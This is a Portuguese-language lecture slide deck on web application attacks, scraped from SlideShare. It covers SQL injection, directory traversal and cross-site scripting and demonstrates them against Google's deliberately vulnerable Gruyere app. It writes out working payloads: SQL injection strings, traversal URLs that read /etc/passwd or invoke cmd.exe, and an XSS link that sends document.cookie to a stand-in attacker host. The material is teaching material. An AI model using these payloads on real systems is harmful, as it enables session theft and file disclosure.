Ataques à Aplicações Web      - Uma visão prática -          Prof. Me. Carlos Nilton A. Corrêa               http://www.ca...
Objetivo• Conhecer, descrever e realizar baseados na  Web: roubo de sessões, XSS, XSRF, XSSI.• Também são apresentados ata...
Vulnerabilidades da web                   Fonte: Projeto OWASP
Information leakage?• Consultas no Google!  – Podem equivaler a um “nmap da web”    dom:<domínio> ext:<extensão> <string>
SQL Injection• Em sua forma mais básica, um ataque em que um  formulário (ou outra forma de entrada) é preenchido  com inf...
Exemplo básico• Isto:SELECT * FROM BugsWHERE bug_id = $_GET[bugid];• Pode resultar nesta instrução!SELECT * FROM BugsWHERE...
Um caso pior!UPDATE AccountsSET password = SHA2($password)WHERE account_id = $account_id;• Vira...UPDATE AccountsSET passw...
Um caso grave...http://hmsec.tumblr.com/
Directory traversal• Tipo de ataque que faz com que uma aplicação web  acesse um arquivo não-desejado• Ocorre quanto um pr...
Exemplo básico (PHP/Linux)• Suponha um script que suporte isto:• http://www.xxx.com/members/seepic.cgi?arq=001.j  pg<?   ....
Imagine agora este acesso...http://www.xxx.com/members/seepic.cgi?arq=..  /../../../../../../../../../etc/passwd
Directory traversal no Windows• O caractere utilizado como separador de caminhos no  Windows é “”, o que de algum modo par...
Variantes do ataque (1)   Para evitar detecção por sistemas sensíveis a    parâmetros que possuam caracteres como “/”,   ...
Variantes do ataque (2)   No passado, caracteres da plataforma Windows    também podiam ser especificados por seu código ...
XSS – Cross Site Scripting“Através de um XSS, o Cracker injetacodigos JavaScript em um campo texto de umapágina já existen...
XSRF (ou CSRF)• Técnica em que o atacante se vale de informações de  sessão previamente existentes no browser de um  usuár...
Google Gruyere• http://google-gruyere.appspot.com/• Aplicação propositalmente desenvolvida com  bugs• Um “testbed” para ex...
Google Gruyere
Ataques orientados ao Gruyere• Básicos  – Cadastrar um item com nome:    zezi<a href="lalala">nho</a>  – Ou com o nome:   ...
Ataques orientados ao Gruyere• Internet Explorer 9 (Ago/2011)  <a href="http://google-  gruyere.appspot.com/751162075406/s...
Ataques orientados ao Gruyere• Começando a ficar sem-graça... <a href="http://google- gruyere.appspot.com/751162075406/sni...
Ataques orientados ao Gruyere• Fazendo algo desagradável...  <a href="http://google-  gruyere.appspot.com/751162075406/sni...
Ataques orientados ao Gruyere• Indo além do pedagógico! http://google- gruyere.appspot.com/751162075406/snippets.gtl?ui d=...
Obrigado!! Prof. Me. Carlos Nilton A. Corrêa      http://www.carlosnilton.com.br/              carlos.nilton@gmail.com    ...
Próximos SlideShares
Carregando em…5
×

Segurança em Aplicações Web

3.644 visualizações

Publicada em

0 comentários
1 gostou
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
3.644
No SlideShare
0
A partir de incorporações
0
Número de incorporações
675
Ações
Compartilhamentos
0
Downloads
96
Comentários
0
Gostaram
1
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Segurança em Aplicações Web

  1. 1. Ataques à Aplicações Web - Uma visão prática - Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ carlos.nilton@gmail.com @cnacorrea
  2. 2. Objetivo• Conhecer, descrever e realizar baseados na Web: roubo de sessões, XSS, XSRF, XSSI.• Também são apresentados ataques na camada de aplicação: SQL Injection, directory traversal, injeção de comandos, overflows.
  3. 3. Vulnerabilidades da web Fonte: Projeto OWASP
  4. 4. Information leakage?• Consultas no Google! – Podem equivaler a um “nmap da web” dom:<domínio> ext:<extensão> <string>
  5. 5. SQL Injection• Em sua forma mais básica, um ataque em que um formulário (ou outra forma de entrada) é preenchido com informações que interferem no fluxo de execução de consultas de um banco de dados• Frequentemente aplicado em etapas de login. Também é comum que um desenvolvedor, equivocadamente, proteja apenas esta seção de um sistema web contra injeções – quando o correto é que se assegure todo o código.
  6. 6. Exemplo básico• Isto:SELECT * FROM BugsWHERE bug_id = $_GET[bugid];• Pode resultar nesta instrução!SELECT * FROM BugsWHERE bug_id = 1234 OR TRUE;
  7. 7. Um caso pior!UPDATE AccountsSET password = SHA2($password)WHERE account_id = $account_id;• Vira...UPDATE AccountsSET password = SHA2(xyzzy, admin=1)WHERE account_id = 1234 OR TRUE
  8. 8. Um caso grave...http://hmsec.tumblr.com/
  9. 9. Directory traversal• Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado• Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada• Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor
  10. 10. Exemplo básico (PHP/Linux)• Suponha um script que suporte isto:• http://www.xxx.com/members/seepic.cgi?arq=001.j pg<? ... /* le imagem a ser exibida */ arqimg = fopen(“/amadoras/”.$_GET[arq], “r”); imagem = fread($handle, filesize($arqimg)); print $imagem; fclose($arqimg);?>
  11. 11. Imagine agora este acesso...http://www.xxx.com/members/seepic.cgi?arq=.. /../../../../../../../../../etc/passwd
  12. 12. Directory traversal no Windows• O caractere utilizado como separador de caminhos no Windows é “”, o que de algum modo particulariza os ataques a esta plataforma• Não obstante, cada vez mais APIs Windows têm suportado o caractere “/” em diretórios• Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo “servidos” estiverem localizados
  13. 13. Variantes do ataque (1) Para evitar detecção por sistemas sensíveis a parâmetros que possuam caracteres como “/”, alguns ataques usam caminhos codificados Uma possibilidade é utilizar parâmetros com codificação de URL:seepic.cgi?arq=%2e%2e%2f... → (../)seepic.cgi?arq=%2e%2e%5c... → (..)
  14. 14. Variantes do ataque (2) No passado, caracteres da plataforma Windows também podiam ser especificados por seu código Unicode Esta é uma codificação universal de 16 bits para representar símbolos em qualquer linguagemhttp://address.of.iis5.system/scripts/..%c0%af../winnt/system32 /cmd.exe?/c+dir+c: (%c0%af == /) (%c1%9c == )
  15. 15. XSS – Cross Site Scripting“Através de um XSS, o Cracker injetacodigos JavaScript em um campo texto de umapágina já existente e este JavaScript é apresentadopara outros usuários.” -- Wikipédia
  16. 16. XSRF (ou CSRF)• Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas• Pode ser utilizado como parte de um ataque de XSS (cross-site scripting)• Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima
  17. 17. Google Gruyere• http://google-gruyere.appspot.com/• Aplicação propositalmente desenvolvida com bugs• Um “testbed” para experiências em segurança
  18. 18. Google Gruyere
  19. 19. Ataques orientados ao Gruyere• Básicos – Cadastrar um item com nome: zezi<a href="lalala">nho</a> – Ou com o nome: <b>Isto é um teste.</b><a href="http://www.malvado.com/">link</a> – Ou ainda: <P class=dev>Point your mouse <A onmouseover="alert(This is an alert box!)" href="">here</A></P>
  20. 20. Ataques orientados ao Gruyere• Internet Explorer 9 (Ago/2011) <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>alert(SEGURA PEAO)</script>">Este é o super novo queijo</a> <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>window.open(http://www.google.com.br/)</ script>">Este é o super novo queijo</a>
  21. 21. Ataques orientados ao Gruyere• Começando a ficar sem-graça... <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>alert(document.cookie)</script>">Este é o super novo queijo</a>
  22. 22. Ataques orientados ao Gruyere• Fazendo algo desagradável... <a href="http://google- gruyere.appspot.com/751162075406/snippets. gtl?uid=<script>window.open("http://www.pe godadosdoseubanco.com.br/salva.php?cook=" + document.cookie)</script>">Este é o super novo queijo</a>• Vejamos um exemplo de script para salvar dados...
  23. 23. Ataques orientados ao Gruyere• Indo além do pedagógico! http://google- gruyere.appspot.com/751162075406/snippets.gtl?ui d=%3Ciframe%20src=%22http://www.google.com.br %22%20width=%22100%%22%20height=%22100%% 22%3E%3Cp%3EEntrar%20em%20contato%20com% 20o%20seu%20banco.%3C/p%3E%3C/iframe%3E
  24. 24. Obrigado!! Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ carlos.nilton@gmail.com @cnacorrea

×